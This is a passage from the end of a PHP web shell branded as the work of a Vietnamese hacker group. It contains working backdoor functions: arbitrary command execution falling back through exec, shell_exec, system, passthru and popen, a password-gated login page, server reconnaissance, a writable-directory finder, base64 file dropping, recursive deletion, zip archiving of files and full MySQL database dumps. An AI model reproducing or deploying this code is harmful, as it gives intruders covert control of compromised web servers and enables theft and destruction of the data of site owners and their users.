1523 if (is_resource($process)) {
1524 fwrite($pipes[0], $command."\r\n");
1525 fwrite($pipes[0], "exit\r\n");
1526 fclose($pipes[0]);
1527 while (!feof($pipes[1])) {
1528 echo fgets($pipes[1], 1024);
1529 }
1530 fclose($pipes[1]);
1531 while (!feof($pipes[2])) {
1532 echo fgets($pipes[2], 1024);
1533 }
1534 fclose($pipes[2]);
1535 proc_close($process);
1536 }
1537 } else {
1538 echo(execute($command));
1539 }
1540 p('</pre>');
1541 }
1542}//end shell
1543
1544elseif ($action == 'phpenv') {
1545 $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
1546 $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
1547 !$dis_func && $dis_func = 'No';
1548 $info = array(
1549 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
1550 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
1551 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
1552 4 => array('Server OS',PHP_OS),
1553 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
1554 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
1555 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
1556 8 => array('PHP run mode',strtoupper(php_sapi_name())),
1557 9 => array('The file path',__FILE__),
1558
1559 10 => array('PHP Version',PHP_VERSION),
1560 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
1561 12 => array('Safe Mode',getcfg('safe_mode')),
1562 13 => array('Administrator',$adminmail),
1563 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
1564 15 => array('enable_dl',getcfg('enable_dl')),
1565 16 => array('display_errors',getcfg('display_errors')),
1566 17 => array('register_globals',getcfg('register_globals')),
1567 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
1568 19 => array('memory_limit',getcfg('memory_limit')),
1569 20 => array('post_max_size',getcfg('post_max_size')),
1570 21 => array('upload_max_filesize',$upsize),
1571 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
1572 23 => array('disable_functions',$dis_func),
1573 );
1574
1575 if($phpvarname) {
1576 m($phpvarname .' : '.getcfg($phpvarname));
1577 }
1578
1579 formhead(array('title'=>'Server environment'));
1580 makehide('action','phpenv');
1581 makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
1582 formfooter();
1583
1584 $hp = array(0=> 'Server', 1=> 'PHP');
1585 for($a=0;$a<2;$a++) {
1586 p('<h2>'.$hp[$a].' »</h2>');
1587 p('<ul class="info">');
1588 if ($a==0) {
1589 for($i=1;$i<=9;$i++) {
1590 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
1591 }
1592 } elseif ($a == 1) {
1593 for($i=10;$i<=23;$i++) {
1594 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
1595 }
1596 }
1597 p('</ul>');
1598 }
1599}//end phpenv
1600
1601else {
1602 m('Undefined Action');
1603}
1604
1605?>
1606</td></tr></table>
1607<div style="padding:10px;border-bottom:1px solid #0E0E0E;border-top:1px solid #0E0E0E;background:#0E0E0E;">
1608 <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
1609 Copyright (C) 2004-2010 <B></B> - Develop by <a href=http://beyeugroup.com target=_blank><B>BYG </B></a> - <B>- The Legend of Vietnamese Hacker World</B> All Rights Reserved.
1610</div>
1611</body>
1612</html>
1613
1614<?php
1615
1616/*======================================================
1617Show info shell
1618======================================================*/
1619
1620function m($msg) {
1621 echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
1622 echo $msg;
1623 echo '</div>';
1624}
1625function scookie($key, $value, $life = 0, $prefix = 1) {
1626 global $admin, $timestamp, $_SERVER;
1627 $key = ($prefix ? $admin['cookiepre'] : '').$key;
1628 $life = $life ? $life : $admin['cookielife'];
1629 $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
1630 setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
1631}
1632function multi($num, $perpage, $curpage, $tablename) {
1633 $multipage = '';
1634 if($num > $perpage) {
1635 $page = 10;
1636 $offset = 5;
1637 $pages = @ceil($num / $perpage);
1638 if($page > $pages) {
1639 $from = 1;
1640 $to = $pages;
1641 } else {
1642 $from = $curpage - $offset;
1643 $to = $curpage + $page - $offset - 1;
1644 if($from < 1) {
1645 $to = $curpage + 1 - $from;
1646 $from = 1;
1647 if(($to - $from) < $page && ($to - $from) < $pages) {
1648 $to = $page;
1649 }
1650 } elseif($to > $pages) {
1651 $from = $curpage - $pages + $to;
1652 $to = $pages;
1653 if(($to - $from) < $page && ($to - $from) < $pages) {
1654 $from = $pages - $page + 1;
1655 }
1656 }
1657 }
1658 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
1659 for($i = $from; $i <= $to; $i++) {
1660 $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
1661 }
1662 $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
1663 $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
1664 }
1665 return $multipage;
1666}
1667// Login page
1668function loginpage() {
1669?>
1670<html>
1671<head>
1672
1673<body bgcolor=black background=1.jpg>
1674
1675 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
1676<title>BYG - The Legend of Vietnamese Hacker World </title>
1677<style type="text/css">
1678A:link {text-decoration: none; color: green }
1679A:visited {text-decoration: none;color:red}
1680A:active {text-decoration: none}
1681A:hover {text-decoration: underline; color: green;}
1682input, textarea, button
1683{
1684 font-size: 11pt;
1685 color: #FFFFFF;
1686 font-family: verdana, sans-serif;
1687 background-color: #000000;
1688 border-left: 2px dashed #8B0000;
1689 border-top: 2px dashed #8B0000;
1690 border-right: 2px dashed #8B0000;
1691 border-bottom: 2px dashed #8B0000;
1692}
1693
1694</style>
1695
1696 <BR><BR>
1697<div align=center >
1698
1699<div>
1700<font color=gray>
1701<br /><br /><br /><br /><br />
1702
1703<form method="POST" action="">
1704 <span style="font:20pt tahoma;"> </span><input name="password" type="password" size="30">
1705 <input type="hidden" name="doing" value="login">
1706 <input type="submit" value="Login">
1707 </form>
1708<BR>
1709<?php
1710echo "".$err_mess."";
1711?>
1712
1713 <B><font color=red>
1714
1715
1716
1717
1718
1719
1720</div>
1721
1722
1723 </fieldset>
1724
1725
1726
1727</head>
1728</html>
1729
1730
1731<?php
1732 exit;
1733
1734}//end loginpage()
1735
1736function execute($cfe) {
1737 $res = '';
1738 if ($cfe) {
1739 if(function_exists('exec')) {
1740 @exec($cfe,$res);
1741 $res = join("\n",$res);
1742 } elseif(function_exists('shell_exec')) {
1743 $res = @shell_exec($cfe);
1744 } elseif(function_exists('system')) {
1745 @ob_start();
1746 @system($cfe);
1747 $res = @ob_get_contents();
1748 @ob_end_clean();
1749 } elseif(function_exists('passthru')) {
1750 @ob_start();
1751 @passthru($cfe);
1752 $res = @ob_get_contents();
1753 @ob_end_clean();
1754 } elseif(@is_resource($f = @popen($cfe,"r"))) {
1755 $res = '';
1756 while(!@feof($f)) {
1757 $res .= @fread($f,1024);
1758 }
1759 @pclose($f);
1760 }
1761 }
1762 return $res;
1763}
1764function which($pr) {
1765 $path = execute("which $pr");
1766 return ($path ? $path : $pr);
1767}
1768
1769function cf($fname,$text){
1770 if($fp=@fopen($fname,'w')) {
1771 @fputs($fp,@base64_decode($text));
1772 @fclose($fp);
1773 }
1774}
1775
1776// Debug
1777function debuginfo() {
1778 global $starttime;
1779 $mtime = explode(' ', microtime());
1780 $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
1781 echo 'Processed in '.$totaltime.' second(s)';
1782}
1783
1784// Function connect database
1785function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
1786 if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
1787 p('<h2>Can not connect to MySQL server</h2>');
1788 exit;
1789 }
1790 if($link && $dbname) {
1791 if (!@mysql_select_db($dbname, $link)) {
1792 p('<h2>Database selected has error</h2>');
1793 exit;
1794 }
1795 }
1796 if($link && mysql_get_server_info() > '4.1') {
1797 if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
1798 q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
1799 }
1800 }
1801 return $link;
1802}
1803
1804// Array strip
1805function s_array(&$array) {
1806 if (is_array($array)) {
1807 foreach ($array as $k => $v) {
1808 $array[$k] = s_array($v);
1809 }
1810 } else if (is_string($array)) {
1811 $array = stripslashes($array);
1812 }
1813 return $array;
1814}
1815
1816// HTML Strip
1817function html_clean($content) {
1818 $content = htmlspecialchars($content);
1819 $content = str_replace("\n", "<br />", $content);
1820 $content = str_replace(" ", " ", $content);
1821 $content = str_replace("\t", " ", $content);
1822 return $content;
1823}
1824
1825// Chmod
1826function getChmod($filepath){
1827 return substr(base_convert(@fileperms($filepath),10,8),-4);
1828}
1829
1830function getPerms($filepath) {
1831 $mode = @fileperms($filepath);
1832 if (($mode & 0xC000) === 0xC000) {$type = 's';}
1833 elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
1834 elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
1835 elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
1836 elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
1837 elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
1838 elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
1839 else {$type = '?';}
1840
1841 $owner['read'] = ($mode & 00400) ? 'r' : '-';
1842 $owner['write'] = ($mode & 00200) ? 'w' : '-';
1843 $owner['execute'] = ($mode & 00100) ? 'x' : '-';
1844 $group['read'] = ($mode & 00040) ? 'r' : '-';
1845 $group['write'] = ($mode & 00020) ? 'w' : '-';
1846 $group['execute'] = ($mode & 00010) ? 'x' : '-';
1847 $world['read'] = ($mode & 00004) ? 'r' : '-';
1848 $world['write'] = ($mode & 00002) ? 'w' : '-';
1849 $world['execute'] = ($mode & 00001) ? 'x' : '-';
1850
1851 if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
1852 if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
1853 if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
1854
1855 return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
1856}
1857
1858function getUser($filepath) {
1859 if (function_exists('posix_getpwuid')) {
1860 $array = @posix_getpwuid(@fileowner($filepath));
1861 if ($array && is_array($array)) {
1862 return ' / <a href="#" title="User: '.$array['name'].'
Passwd: '.$array['passwd'].'
Uid: '.$array['uid'].'
gid: '.$array['gid'].'
Gecos: '.$array['gecos'].'
Dir: '.$array['dir'].'
Shell: '.$array['shell'].'">'.$array['name'].'</a>';
1863 }
1864 }
1865 return '';
1866}
1867
1868// Delete dir
1869function deltree($deldir) {
1870 $mydir=@dir($deldir);
1871 while($file=$mydir->read()) {
1872 if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
1873 @chmod($deldir.'/'.$file,0777);
1874 deltree($deldir.'/'.$file);
1875 }
1876 if (is_file($deldir.'/'.$file)) {
1877 @chmod($deldir.'/'.$file,0777);
1878 @unlink($deldir.'/'.$file);
1879 }
1880 }
1881 $mydir->close();
1882 @chmod($deldir,0777);
1883 return @rmdir($deldir) ? 1 : 0;
1884}
1885
1886// Background
1887function bg() {
1888 global $bgc;
1889 return ($bgc++%2==0) ? 'alt1' : 'alt2';
1890}
1891
1892// Get path
1893function getPath($scriptpath, $nowpath) {
1894 if ($nowpath == '.') {
1895 $nowpath = $scriptpath;
1896 }
1897 $nowpath = str_replace('\\', '/', $nowpath);
1898 $nowpath = str_replace('//', '/', $nowpath);
1899 if (substr($nowpath, -1) != '/') {
1900 $nowpath = $nowpath.'/';
1901 }
1902 return $nowpath;
1903}
1904
1905// Get up path
1906function getUpPath($nowpath) {
1907 $pathdb = explode('/', $nowpath);
1908 $num = count($pathdb);
1909 if ($num > 2) {
1910 unset($pathdb[$num-1],$pathdb[$num-2]);
1911 }
1912 $uppath = implode('/', $pathdb).'/';
1913 $uppath = str_replace('//', '/', $uppath);
1914 return $uppath;
1915}
1916
1917// Config
1918function getcfg($varname) {
1919 $result = get_cfg_var($varname);
1920 if ($result == 0) {
1921 return 'No';
1922 } elseif ($result == 1) {
1923 return 'Yes';
1924 } else {
1925 return $result;
1926 }
1927}
1928
1929// Function name
1930function getfun($funName) {
1931 return (false !== function_exists($funName)) ? 'Yes' : 'No';
1932}
1933
1934function GetList($dir){
1935 global $dirdata,$j,$nowpath;
1936 !$j && $j=1;
1937 if ($dh = opendir($dir)) {
1938 while ($file = readdir($dh)) {
1939 $f=str_replace('//','/',$dir.'/'.$file);
1940 if($file!='.' && $file!='..' && is_dir($f)){
1941 if (is_writable($f)) {
1942 $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
1943 $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
1944 $dirdata[$j]['dirchmod']=getChmod($f);
1945 $dirdata[$j]['dirperm']=getPerms($f);
1946 $dirdata[$j]['dirlink']=ue($dir);
1947 $dirdata[$j]['server_link']=$f;
1948 $dirdata[$j]['client_link']=ue($f);
1949 $j++;
1950 }
1951 GetList($f);
1952 }
1953 }
1954 closedir($dh);
1955 clearstatcache();
1956 return $dirdata;
1957 } else {
1958 return array();
1959 }
1960}
1961
1962function qy($sql) {
1963 //echo $sql.'<br>';
1964 $res = $error = '';
1965 if(!$res = @mysql_query($sql)) {
1966 return 0;
1967 } else if(is_resource($res)) {
1968 return 1;
1969 } else {
1970 return 2;
1971 }
1972 return 0;
1973}
1974
1975function q($sql) {
1976 return @mysql_query($sql);
1977}
1978
1979function fr($qy){
1980 mysql_free_result($qy);
1981}
1982
1983function sizecount($size) {
1984 if($size > 1073741824) {
1985 $size = round($size / 1073741824 * 100) / 100 . ' G';
1986 } elseif($size > 1048576) {
1987 $size = round($size / 1048576 * 100) / 100 . ' M';
1988 } elseif($size > 1024) {
1989 $size = round($size / 1024 * 100) / 100 . ' K';
1990 } else {
1991 $size = $size . ' B';
1992 }
1993 return $size;
1994}
1995
1996// Zip
1997class PHPZip{
1998 var $out='';
1999 function PHPZip($dir) {
2000 if (@function_exists('gzcompress')) {
2001 $curdir = getcwd();
2002 if (is_array($dir)) $filelist = $dir;
2003 else{
2004 $filelist=$this -> GetFileList($dir);//File list
2005 foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
2006 }
2007 if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
2008 else chdir($curdir);
2009 if (count($filelist)>0){
2010 foreach($filelist as $filename){
2011 if (is_file($filename)){
2012 $fd = fopen ($filename, 'r');
2013 $content = @fread ($fd, filesize($filename));
2014 fclose ($fd);
2015 if (is_array($dir)) $filename = basename($filename);
2016 $this -> addFile($content, $filename);
2017 }
2018 }
2019 $this->out = $this -> file();
2020 chdir($curdir);
2021 }
2022 return 1;
2023 }
2024 else return 0;
2025 }
2026
2027 // Show file list
2028 function GetFileList($dir){
2029 static $a;
2030 if (is_dir($dir)) {
2031 if ($dh = opendir($dir)) {
2032 while ($file = readdir($dh)) {
2033 if($file!='.' && $file!='..'){
2034 $f=$dir .'/'. $file;
2035 if(is_dir($f)) $this->GetFileList($f);
2036 $a[]=$f;
2037 }
2038 }
2039 closedir($dh);
2040 }
2041 }
2042 return $a;
2043 }
2044
2045 var $datasec = array();
2046 var $ctrl_dir = array();
2047 var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
2048 var $old_offset = 0;
2049
2050 function unix2DosTime($unixtime = 0) {
2051 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
2052 if ($timearray['year'] < 1980) {
2053 $timearray['year'] = 1980;
2054 $timearray['mon'] = 1;
2055 $timearray['mday'] = 1;
2056 $timearray['hours'] = 0;
2057 $timearray['minutes'] = 0;
2058 $timearray['seconds'] = 0;
2059 } // end if
2060 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
2061 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
2062 }
2063
2064 function addFile($data, $name, $time = 0) {
2065 $name = str_replace('\\', '/', $name);
2066
2067 $dtime = dechex($this->unix2DosTime($time));
2068 $hexdtime = '\x' . $dtime[6] . $dtime[7]
2069 . '\x' . $dtime[4] . $dtime[5]
2070 . '\x' . $dtime[2] . $dtime[3]
2071 . '\x' . $dtime[0] . $dtime[1];
2072 eval('$hexdtime = "' . $hexdtime . '";');
2073 $fr = "\x50\x4b\x03\x04";
2074 $fr .= "\x14\x00";
2075 $fr .= "\x00\x00";
2076 $fr .= "\x08\x00";
2077 $fr .= $hexdtime;
2078
2079 $unc_len = strlen($data);
2080 $crc = crc32($data);
2081 $zdata = gzcompress($data);
2082 $c_len = strlen($zdata);
2083 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
2084 $fr .= pack('V', $crc);
2085 $fr .= pack('V', $c_len);
2086 $fr .= pack('V', $unc_len);
2087 $fr .= pack('v', strlen($name));
2088 $fr .= pack('v', 0);
2089 $fr .= $name;
2090 $fr .= $zdata;
2091 $fr .= pack('V', $crc);
2092 $fr .= pack('V', $c_len);
2093 $fr .= pack('V', $unc_len);
2094
2095 $this -> datasec[] = $fr;
2096 $new_offset = strlen(implode('', $this->datasec));
2097
2098 $cdrec = "\x50\x4b\x01\x02";
2099 $cdrec .= "\x00\x00";
2100 $cdrec .= "\x14\x00";
2101 $cdrec .= "\x00\x00";
2102 $cdrec .= "\x08\x00";
2103 $cdrec .= $hexdtime;
2104 $cdrec .= pack('V', $crc);
2105 $cdrec .= pack('V', $c_len);
2106 $cdrec .= pack('V', $unc_len);
2107 $cdrec .= pack('v', strlen($name) );
2108 $cdrec .= pack('v', 0 );
2109 $cdrec .= pack('v', 0 );
2110 $cdrec .= pack('v', 0 );
2111 $cdrec .= pack('v', 0 );
2112 $cdrec .= pack('V', 32 );
2113 $cdrec .= pack('V', $this -> old_offset );
2114 $this -> old_offset = $new_offset;
2115 $cdrec .= $name;
2116
2117 $this -> ctrl_dir[] = $cdrec;
2118 }
2119
2120 function file() {
2121 $data = implode('', $this -> datasec);
2122 $ctrldir = implode('', $this -> ctrl_dir);
2123 return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
2124 }
2125}
2126
2127// Dump mysql
2128function sqldumptable($table, $fp=0) {
2129 $tabledump = "DROP TABLE IF EXISTS $table;\n";
2130 $tabledump .= "CREATE TABLE $table (\n";
2131
2132 $firstfield=1;
2133
2134 $fields = q("SHOW FIELDS FROM $table");
2135 while ($field = mysql_fetch_array($fields)) {
2136 if (!$firstfield) {
2137 $tabledump .= ",\n";
2138 } else {
2139 $firstfield=0;
2140 }
2141 $tabledump .= " $field[Field] $field[Type]";
2142 if (!empty($field["Default"])) {
2143 $tabledump .= " DEFAULT '$field[Default]'";
2144 }
2145 if ($field['Null'] != "YES") {
2146 $tabledump .= " NOT NULL";
2147 }
2148 if ($field['Extra'] != "") {
2149 $tabledump .= " $field[Extra]";
2150 }
2151 }
2152 fr($fields);
2153
2154 $keys = q("SHOW KEYS FROM $table");
2155 while ($key = mysql_fetch_array($keys)) {
2156 $kname=$key['Key_name'];
2157 if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
2158 $kname="UNIQUE|$kname";
2159 }
2160 if(!is_array($index[$kname])) {
2161 $index[$kname] = array();
2162 }
2163 $index[$kname][] = $key['Column_name'];
2164 }
2165 fr($keys);
2166
2167 while(list($kname, $columns) = @each($index)) {
2168 $tabledump .= ",\n";
2169 $colnames=implode($columns,",");
2170
2171 if ($kname == "PRIMARY") {
2172 $tabledump .= " PRIMARY KEY ($colnames)";
2173 } else {
2174 if (substr($kname,0,6) == "UNIQUE") {
2175 $kname=substr($kname,7);
2176 }
2177 $tabledump .= " KEY $kname ($colnames)";
2178 }
2179 }
2180
2181 $tabledump .= "\n);\n\n";
2182 if ($fp) {
2183 fwrite($fp,$tabledump);
2184 } else {
2185 echo $tabledump;
2186 }
2187
2188 $rows = q("SELECT * FROM $table");
2189 $numfields = mysql_num_fields($rows);
2190 while ($row = mysql_fetch_array($rows)) {
2191 $tabledump = "INSERT INTO $table VALUES(";
2192
2193 $fieldcounter=-1;
2194 $firstfield=1;
2195 while (++$fieldcounter<$numfields) {
2196 if (!$firstfield) {
2197 $tabledump.=", ";
2198 } else {
2199 $firstfield=0;
2200 }
2201
2202 if (!isset($row[$fieldcounter])) {
2203 $tabledump .= "NULL";
2204 } else {
2205 $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
2206 }
2207 }
2208
2209 $tabledump .= ");\n";
2210
2211 if ($fp) {
2212 fwrite($fp,$tabledump);
2213 } else {
2214 echo $tabledump;
2215 }
2216 }
2217 fr($rows);
2218 if ($fp) {
2219 fwrite($fp,"\n");
2220 } else {
2221 echo "\n";
2222 }
2223}
2224
2225function ue($str){
2226 return urlencode($str);
2227}
2228
2229function p($str){
2230 echo $str."\n";
2231}
2232
2233function tbhead() {
2234 p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
2235}
2236function tbfoot(){
2237 p('</table>');
2238}
2239
2240function makehide($name,$value=''){
2241 p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
2242}
2243
2244function makeinput($arg = array()){
2245 $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
2246 $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
2247 !$arg['type'] && $arg['type'] = 'text';
2248 $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
2249 $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
2250 if ($arg['newline']) {
2251 p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
2252 } else {
2253 p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
2254 }
2255}
2256
2257function makeselect($arg = array()){
2258 if ($arg['onchange']) {
2259 $onchange = 'onchange="'.$arg['onchange'].'"';
2260 }
2261 $arg['title'] = $arg['title'] ? $arg['title'] : '';
2262 if ($arg['newline']) p('<p>');
2263 p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
2264 if (is_array($arg['option'])) {
2265 foreach ($arg['option'] as $key=>$value) {
2266 if ($arg['selected']==$key) {
2267 p("<option value=\"$key\" selected>$value</option>");
2268 } else {
2269 p("<option value=\"$key\">$value</option>");
2270 }
2271 }
2272 }
2273 p("</select>");
2274 if ($arg['newline']) p('</p>');
2275}
2276function formhead($arg = array()) {
2277 !$arg['method'] && $arg['method'] = 'post';
2278 !$arg['action'] && $arg['action'] = $self;
2279 $arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
2280 !$arg['name'] && $arg['name'] = 'form1';
2281 p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
2282 if ($arg['title']) {
2283 p('<h2>'.$arg['title'].' »</h2>');
2284 }
2285}
2286
2287function maketext($arg = array()){
2288 !$arg['cols'] && $arg['cols'] = 100;
2289 !$arg['rows'] && $arg['rows'] = 25;
2290 $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
2291 p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
2292}
2293
2294function formfooter($name = ''){
2295 !$name && $name = 'submit';
2296 p('<p><input class="bt" name="'.$name.'" id=\"'.$name.'\" type="submit" value="Submit"></p>');
2297 p('</form>');
2298}
2299
2300function formfoot(){
2301 p('</form>');
2302}
2303
2304// Exit
2305function pr($a) {
2306 echo '<pre>';
2307 print_r($a);
2308 echo '</pre>';
2309}
2310?>